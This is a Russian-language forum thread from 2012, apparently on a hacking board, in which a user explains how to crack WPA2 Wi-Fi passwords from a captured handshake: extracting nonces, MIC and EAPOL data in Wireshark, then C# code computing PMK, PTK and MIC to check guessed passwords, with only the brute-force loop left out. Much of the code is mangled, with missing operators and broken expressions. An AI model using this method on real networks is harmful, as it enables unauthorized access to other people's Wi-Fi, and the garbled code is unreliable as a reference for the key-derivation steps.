Как ломают Wpa2 Ключи

Discussion in 'Безопасность и Анонимность' started by piplnet, 13 Jun 2012.

  1. piplnet

    piplnet Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    17
    Reputations:
    10
    Как производят взлом wpa2 ключей в wifi сетях

    Доброго времени суток ,сегодня решил рассказать Как работает Алгоритм Подбора Паролей Wpa в WI FI сетях :) Надеюсь У вас уже есть хандшейк так что приступим (а если нет или не знаете что это такое то google.ru вам в помощь)Для реализации алгоритма будем использовать Visual Studio 2008


    и весь код писать на c# так что начнем... :D

    Для начала давайте Узнаем какие именно данные нам нужно будет Вытащить из этого самого хандшейка (handshake)
    Для этого скачайте и установите себе снифер Wireshark ссылку на него я выложу в конце статьи ,

    ну я думаю вы уже его установили запускаем снифер
    [​IMG]
    далее идем в меню File > Open и указываем наш фандшейк в результате у нас должно выйти примерно так
    [​IMG]
    отлично двигаемся дальше ,как мы видим здесь целая куча не нужных запросов ,

    давайте их отфильтруем Впишем eapol (так как мы будем работать Толька с этим протоколом)
    [​IMG]

    и нажмем Aplly (то есть применить)

    [​IMG]
    и у нас должно выйти примерно так
    [​IMG]

    как видим все равно еще не понятно с чего же начать,

    а все очень просто как мы видим здесь много повторяющихся Фреймов неудачной аутентификации
    [​IMG]
    вот они то нам и не нужны и смотрим внимательнее
    где идут Фреймы (1\4) (2\4) (3\4)
    [​IMG]


    вот они то нам и Нада а именно первый фрейм и второе
    [​IMG]
    от первого фрейма нам понадобится Толька 32 байтный хеш случайно сгенерированный точкой доступа Nonce
    [​IMG]
    назовем ее anonce

    переходим на второй фрейм (2\4)
    и тоже извлекаем 32-бай случайно сгенерированный ключ клиента Nonce
    [​IMG]

    и назовем его snonce и так мы имеем два 32-байтных случайно сгенерированных ключа от точки доступа и от клиента anonce и snonce
    из этого же фрейма (2\4) получаем WPA Key MIC

    [​IMG]

    и обзовем его TrueMic ТАКЖЕ по нему и будем проверять правильность пароля и также с этого фрейма на понадобиться весь пакет данных
    [​IMG]
    содержащей весь пакет второго рукопожатия
    и обзываем его eapol
    ........

    Также нам нужны будут MAC адреса клиента и точки доступа
    и ESSID точки доступа (то есть ее имя)
    Итак что мы имеем :
    anonce - случайно сгенерированное число точки доступа (32 байта)
    snonce - случайно сгенерированное число клиента (32 байта)
    Truemic - хеш целостности сообщений
    eapol - весь дамп второго фрейма (рукопожатия)
    BSSID - мак адрес точки доступа
    stMac - мак адрес клиента
    ESSID - имя точки доступа
    вот собственно и все что нужно будет вытащить из хандшейка приводить код как эти данные получить я не буду
    здесь вы и сами разберетесь а приступим к самому алгоритму то есть написанию кода

    PHP:
    //------ инициализируем переменные ---------
      // мак точки
        
    byte[] bssid = new byte[] 
       { 
        
    20,0xd6,0x4d,70,0x47,0x26
       
    };

      
    // случайно сгенерированный хеш точки
        
    byte[] anonce = new byte[] 
       { 
        
    0xc9,0x63 ,0xc90xcd,90,0x4c,0xa2,0x2e,0xc3
        
    0x90,0xa9,0xe9,0x39,0x99,0xf8,0x3a,0x87,0x77,
        
    0xad0xb60xc40x130x520xa7,0xdb0xda,
        
    0x990xc500x8b0x880x69 
       
    };

      
    // случайно сгенерированный хеш клиента 
        
    byte[] snonce = new byte[] 
       { 
        
    0xf1140x630xbc0x4f0x951190,0xf7,
        
    2500x4e0xec,0xe20x650xa1,0xe7,90,0xef,
        
    1700x54,0xad,0x360xe2,0x41,0x41,0x31,0x4e,
        
    0x880x7d0x490x4a,0xb5 
       
    }; 
      
    // полный дамп второго фрейма (рукопожатия)
        
    byte[] eapol = new byte[] 
       { 
        
    2300x752190,0x200000,
        
    0,00,10xf1140x630xbc0x4f0x95,11,
        
    900xf72500x4e0xec0xe2,0x650xa1,
        
    0xe7900xef1700x54,0xad0x360xe2,
        
    0x41,0x410x310x4e,0x880x7d0x490x4a,
        
    0xb50,00,00000000000,
        
    0,000,000000000,000
        
    0,0300x2f,0xfc0xfb,0x291700x1f0x68,
        
    0xc30x5d0xdd,1500x980xaf160,0x2b0,
        
    0x160x30,2010,0150xac210015
        
    0xac,210015,0xac20
       
    };
      
    // мак адрес клиента
        
    byte[] stmac = new byte[] 
       { 
        
    2400x7d0x680x8e0x430xd6 
       
    };

      
    // MiC 
        
    byte[] trueMic = new byte[] 
       {
        
    0x1e,0x2f,0xfc,0xfb,0x29,170,0x1f,0x68,
        
    0xc30x5d0xdd1500x98,0xaf,160,0x2b 
       
    };

      
    // имя сети 
        
    string essid "MERSEDES"


        
    byte[] essid1;
        
    byte[] key1;
        
    HMACMD5 md5;
        
    HMACSHA1 sha1;


    Вычисляем Мастер-ключ pmk (многократно захешированный пароль с использованием имени сети essid).



    PHP:
    //========= Вычисляем PMK ============ 
      
    public byte[] call_pmk(byte[] keybyte[] essid)
        {
         
    int i;
         
    int i1;
         
    int j;
         
    byte[] pmk = new byte[40];
         
    byte[] data = new byte[essid.Length 4];
         Array.
    Copy(essiddataessid.Length);
         
    data[essid.Length] = 0;
         
    data[essid.Length 1] = 0;
         
    data[essid.Length 2] = 0;
         
    data[essid.Length 3] = 1;
         
    sha1.Key key;
         
    sha1.ComputeHash(data);
         
    data this.sha1.Hash;
      for (
    020i++)
     {
        
    pmk[i] = data[i];
     }
        for (
    i1 1i1 0x1000i1++)
        {
         
    sha1.ComputeHash(data);
         
    data this.sha1.Hash;
         
    0;
          
          while (
    20)
            {
                
    pmk[j] = (byte)(pmk[j] ^ data[j]);
                
    j++;
            }
        }
        
        
    byte[] data1 = new byte[essid.Length 4];
        Array.
    Copy(essiddata1essid.Length);
        
    data1[essid.Length] = 0;
        
    data1[essid.Length 1] = 0;
        
    data1[essid.Length 2] = 0;
        
    data1[essid.Length 3] = 2;
        
    Key key;
        
    sha1.ComputeHash(data1);
        
    data1 sha1.Hash;

        for (
    020i++)
        {
            
    pmk[20] = data1[i];
        }

        for (
    i1 1i1 0x1000i1++)
        {
            
    sha1.ComputeHash(data1);
            
    data1 this.sha1.Hash;

            for (
    020j++)
            {
                
    pmk[20] = (byte)(pmk[20] ^ data1[j]);
            }
        }
        return 
    pmk;
        }



    Зная PMK теперь определяем PTK
    Передаточный ключ PTK (вот с помощью него, а точнее его части происходит вычисление ключа целостности сообщений).



    PHP:
     //============== Вычесляем PTK ==================================
        
    public byte[] call_ptk(byte[] pmkbyte[] pke)
        {
            
    byte[] ptk = new byte[80];
            
    byte[] pmk_tmp = new byte[0x20];
            Array.
    Copy(pmk0pmk_tmp00x20);
            
            for (
    int i 04i++)
            {
                
    pke[0x63] = (byte)i;
                
    sha1.Key pmk_tmp;
                
    sha1.ComputeHash(pke);
                Array.
    Copy(sha1.Hash0ptk2020);
            }
        return 
    ptk;
        }


    ну вот теперь когда мы знаем хеш PTK мы можем вычислить и сам хеш нашего пароля



    PHP:
     //======= Вычисляем MIC ==============

        
    public byte[] call_mic(int wpa_verbyte[] ptkbyte[] eapol)
        {
            
    byte[] ptk_tmp = new byte[0x10];
            Array.
    Copy(ptk0ptk_tmp00x10);
            
            if (
    wpa_ver == 1)
            {
                
    md5.Key ptk_tmp;
                
    md5.ComputeHash(eapol);
                return 
    md5.Hash;
            }
            
            
    sha1.Key ptk_tmp;
            
    sha1.ComputeHash(eapol);
            return 
    this.sha1.Hash;
        }

    Ну и последний шаг проверяем наш пароль на валид


    PHP:
     //============== Проверяем ключ =============================================


        
    public bool Wpa_Key(int wpa_verbyte[] key1byte[] essid1byte[] anoncebyte[] snoncebyte[] bssidbyte[] stmacbyte[] eapolbyte[] truemic)
        {
            
    md5 = new HMACMD5();
            
    sha1 = new HMACSHA1();

            for (
    int i 00x10i++)
            {
                
    eapol[0x51 i] = 0;
            }

            
    byte[] pke = new byte[100];
            Array.
    Copy(Encoding.ASCII.GetBytes("Pairwise key expansion"), pke0x16);
                if (
    stmac[0] < bssid[0])
                {
                    Array.
    Copy(stmac0pke0x176);
                    Array.
    Copy(bssid0pke0x1d6);
                }
            else
                {
                    Array.
    Copy(bssid0pke0x176);
                    Array.
    Copy(stmac0pke0x1d6);
                }
                
                if (
    snonce[0] < anonce[0])
                {
                    Array.
    Copy(snonce0pke0x230x20);
                    Array.
    Copy(anonce0pke0x430x20);
                }
            else
                {
                    Array.
    Copy(anonce0pke0x230x20);
                    Array.
    Copy(snonce0pke0x430x20);
                }

            
    byte[] pmk this.call_pmk(key1essid1);
            
    byte[] ptk this.call_ptk(pmkpke);
            
    byte[] mic this.call_mic(wpa_verptkeapol);
            return 
    truemic.SequenceEqual<byte>(mic);
        }

    вот собственно и весь код осталось Толька добавить цикл и перебирать пароль в цикле но здесь мы этого делать не будем ;)
    Вот собственно таким вот образом и происходит подбор паролей wifi сетей, а на этом я пожалуй и закончу.





    а вот и ссылки:
    Снифер WireShark с офф сайта
    Программа с исходниками
     
    #1 piplnet, 13 Jun 2012
    Last edited: 17 Jun 2012
  2. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    Грамматику поправь хоть немного.
     
  3. AN()NYM()US

    AN()NYM()US New Member

    Joined:
    7 Jun 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    так норм. где ссылки? :)
     
  4. piplnet

    piplnet Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    17
    Reputations:
    10
    добавил